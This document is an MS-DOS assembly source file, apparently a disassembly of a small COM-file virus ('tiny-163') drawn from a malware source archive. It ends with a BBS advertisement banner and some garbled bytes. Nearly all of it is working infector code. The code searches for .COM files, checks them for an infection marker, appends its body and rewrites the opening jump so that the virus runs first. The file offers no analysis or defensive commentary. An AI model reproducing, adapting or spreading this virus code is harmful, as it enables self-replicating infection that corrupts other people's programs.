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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.tiny-163.asm

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2021-01-13 00:01:59 +00:00
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;<3B><> <20><>
;<3B><> S <20><>
;<3B><> <20><>
;<3B><> Created: 4-Aug-90 <20><>
;<3B><> Version: <20><>
;<3B><> Passes: 9 Analysis Options on: H <20><>
;<3B><> <20><>
;<3B><> <20><>
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data_2e equ 1ABh ; (946E:01AB=0)
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
s proc far
start:
jmp loc_1 ; (0108)
db 0CDh, 20h, 7, 8, 9
loc_1:
call sub_1 ; (010B)
s endp
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; SUBROUTINE
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sub_1 proc near
pop si
sub si,10Bh
mov bp,data_1[si] ; (946E:01A0=0)
add bp,103h
lea dx,[si+1A2h] ; Load effective addr
xor cx,cx ; Zero register
mov ah,4Eh ; 'N'
loc_2:
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jc loc_6 ; Jump if carry Set
mov dx,9Eh
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
mov ah,3Fh ; '?'
lea dx,[si+1A8h] ; Load effective addr
mov di,dx
mov cx,3
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
cmp byte ptr [di],0E9h
je loc_4 ; Jump if equal
loc_3:
mov ah,4Fh ; 'O'
jmp short loc_2 ; (0120)
loc_4:
mov dx,[di+1]
mov data_1[si],dx ; (946E:01A0=0)
xor cx,cx ; Zero register
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov dx,di
mov cx,2
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
cmp word ptr [di],807h
je loc_3 ; Jump if equal
xor dx,dx ; Zero register
xor cx,cx ; Zero register
mov ax,4202h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
cmp dx,0
jne loc_3 ; Jump if not equal
cmp ah,0FEh
jae loc_3 ; Jump if above or =
mov ds:data_2e[si],ax ; (946E:01AB=0)
mov ah,40h ; '@'
lea dx,[si+105h] ; Load effective addr
mov cx,0A3h
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
jc loc_5 ; Jump if carry Set
mov ax,4200h
xor cx,cx ; Zero register
mov dx,1
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov ah,40h ; '@'
lea dx,[si+1ABh] ; Load effective addr
mov cx,2
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
loc_5:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
loc_6:
jmp bp ;*Register jump
data_1 dw 0 ; Data table (indexed access)
db 2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
sub_1 endp
seg_a ends
end start
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> and Remember Don't Forget to Call <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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